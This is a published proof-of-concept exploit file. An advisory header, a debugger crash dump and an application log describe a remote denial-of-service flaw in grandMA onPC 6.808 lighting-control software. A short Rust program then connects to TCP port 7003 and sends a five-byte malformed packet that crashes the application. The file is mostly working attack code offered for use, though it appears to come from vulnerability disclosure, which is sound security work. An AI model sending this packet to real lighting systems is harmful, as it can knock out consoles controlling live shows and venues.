/*

MA Lighting Technology grandMA onPC v6.808 Remote Denial of Service Exploit


Vendor: MA Lighting Technology GmbH
Product web page: http://www.malighting.com
Affected version: grandMA series 1 onPC Software 6.808 (6.801)

Summary: The grandMA onPC software incorporates all functions of a grandMA
console and offers you its full potential on your notebook or PC. You can
use grandMA onPC for running, programming or offline pre-programming, as
well as a smart backup solution within the grandMA system. With the MA onPC
command wing and MA onPC fader wing MA Lighting has developed a sophisticated
hardware extension perfectly suited for the grandMA onPC software.

Desc: grandMA onPC version 6.808 is exposed to a remote denial of service
issue when processing socket connection negotiation. This issue occurs when
the application handles a single malformed packet over TCP port 7003, resulting
in a crash.

===========================================================================

(1324.be4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=3535393f ebx=07279f80 ecx=35353937 edx=0c05f038 esi=3535393f edi=3535393b
eip=77ce22c2 esp=0c05ef7c ebp=0c05ef90 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
ntdll!RtlEnterCriticalSection+0x12:
77ce22c2 f00fba3000      lock btr dword ptr [eax],0   ds:002b:3535393f=????????

--

303.640 GMA : RR NEW  STATION IN NETWORK 127.0.0.1(100) AS Standalone
367.147 SHAR: RPC COMMAND UNSUPPORTED CMD 542393671 from 127.0.0.1
367.147 SHAR: SHARED_REMOTECALL NOT TERMINATED CORRECTLY !
367.180 CC  : ******* EXCEPTION **************************
367.180 CC  : * ACCESS_VIOLATION
367.180 CC  : * EAX = 37363341  EBX =  6D856B0
367.180 CC  : * ECX = 37363339  EDX =  B78F41C
367.180 CC  : * ESI = 37363341  EDI = 3736333D
367.180 CC  : * DESKTYP : GMA [Windows]
367.180 CC  : * VERSION : 6.808 STREAMING : 6801
367.180 CC  : ********************************************
367.240 CC  : 0x775522c2 RtlEnterCriticalSection() + 0x12

===========================================================================


Tested on: Microsoft Windows 7 Professional SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5183
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5183.php


31.03.2014

*/


use std::io::net::ip::SocketAddr;
use std::io::net::tcp::TcpStream;

fn bann() {
  println!("
  +======================================+
  | grandMA onPC 6.808 Denial of Service |
  |--------------------------------------|
  |                                      |
  |           ID: ZSL-2014-5183          |
  +======================================+
  ");
}

fn main() {
  bann();
  println!("\n[*] Sending packet to local host on tcp port 7003\n");
  let addr = from_str::<SocketAddr>("127.0.0.1:7003").unwrap();
  let mut socket = TcpStream::connect(addr).unwrap();
  socket.write(bytes!("\x74\x30\x30\x74\x21"));
  println!("[*] Crashed!\n");
}